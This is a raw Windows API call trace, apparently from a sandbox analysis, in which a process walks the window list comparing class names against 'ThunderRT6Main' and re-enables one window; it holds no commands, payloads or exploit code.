1 [0159.856] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.856] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0159.856] GetClassNameA (in: hWnd=0x10098, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.856] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.856] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.856] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0159.857] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0159.857] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0159.857] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0159.857] GetClassNameA (in: hWnd=0x10094, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0159.857] GetClassNameA (in: hWnd=0x10096, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.857] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0159.857] GetClassNameA (in: hWnd=0x10076, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0159.857] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0159.857] GetClassNameA (in: hWnd=0x10070, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.857] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0159.857] GetClassNameA (in: hWnd=0x10056, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.857] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0159.857] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0159.857] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.857] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0159.857] GetClassNameA (in: hWnd=0x10142, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0159.857] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0159.857] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.857] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0159.858] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.858] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0159.858] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0159.858] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0159.858] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0159.858] GetClassNameA (in: hWnd=0x10112, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.858] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.858] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0159.858] GetClassNameA (in: hWnd=0x10104, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.858] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.858] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0159.858] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.858] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.858] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0159.858] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.858] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.858] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0159.858] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.858] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.858] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0159.858] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0159.858] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.858] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0159.858] GetClassNameA (in: hWnd=0x10236, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.858] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.858] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.858] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0159.858] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.858] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0159.858] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0159.858] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.858] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0159.859] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.859] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0159.859] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x302c2 [0159.859] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.859] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0159.859] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.859] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0159.859] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0159.859] GetClassNameA (in: hWnd=0x30242, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.859] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0159.859] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.859] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0159.859] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0159.859] GetClassNameA (in: hWnd=0x40244, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.859] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0159.859] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.859] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0159.859] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0159.859] GetClassNameA (in: hWnd=0x20288, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.859] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0159.859] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.859] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0159.859] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0159.859] GetClassNameA (in: hWnd=0x20286, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.859] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.859] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0159.859] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.859] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0159.859] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x20262 [0159.859] GetClassNameA (in: hWnd=0x20262, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0159.859] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.859] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0159.859] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0159.859] GetClassNameA (in: hWnd=0x20270, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.860] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0159.860] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0159.860] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0159.860] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.860] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0159.860] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0159.860] IsWindowEnabled (hWnd=0x302dc) returned 0 [0159.860] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0159.860] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0159.860] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0159.860] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0159.860] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x30252 [0159.860] GetClassNameA (in: hWnd=0x30252, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.860] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.860] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0159.860] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0159.860] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.860] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0159.860] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0159.860] GetClassNameA (in: hWnd=0x20256, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0159.860] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.860] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0159.860] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.860] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0159.860] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0159.860] GetClassNameA (in: hWnd=0x10246, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0159.860] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.860] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0159.860] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.860] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0159.860] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0159.860] GetClassNameA (in: hWnd=0x20224, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0159.860] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0159.860] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.860] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0159.860] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.861] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0159.861] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0159.861] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.861] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.861] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0159.861] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.861] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0159.861] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0159.861] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.861] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.861] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0159.861] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.861] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0159.861] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0159.861] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.861] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.861] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0159.861] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.861] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0159.861] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0159.861] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0159.861] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.861] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0159.861] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.861] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0159.861] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0159.861] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0159.861] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.861] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0159.861] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.861] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0159.861] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0159.861] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0159.861] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0159.861] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0159.861] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0159.861] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0159.861] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.862] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0159.862] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.862] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0159.862] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0159.862] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.862] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0159.862] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0159.862] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0159.862] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0159.862] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0159.862] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0159.862] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0159.862] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0159.862] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.862] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0159.862] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0159.862] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0159.862] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0159.862] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.862] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0159.862] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0159.862] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0159.862] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0159.862] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.862] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.862] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0159.862] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0159.862] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0159.862] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0159.863] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0159.863] GetClassNameA (in: hWnd=0x10198, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.863] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0159.863] GetClassNameA (in: hWnd=0x10196, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0159.863] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0159.863] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0159.863] GetClassNameA (in: hWnd=0x10192, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0159.863] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.863] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0159.863] GetClassNameA (in: hWnd=0x10194, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.863] 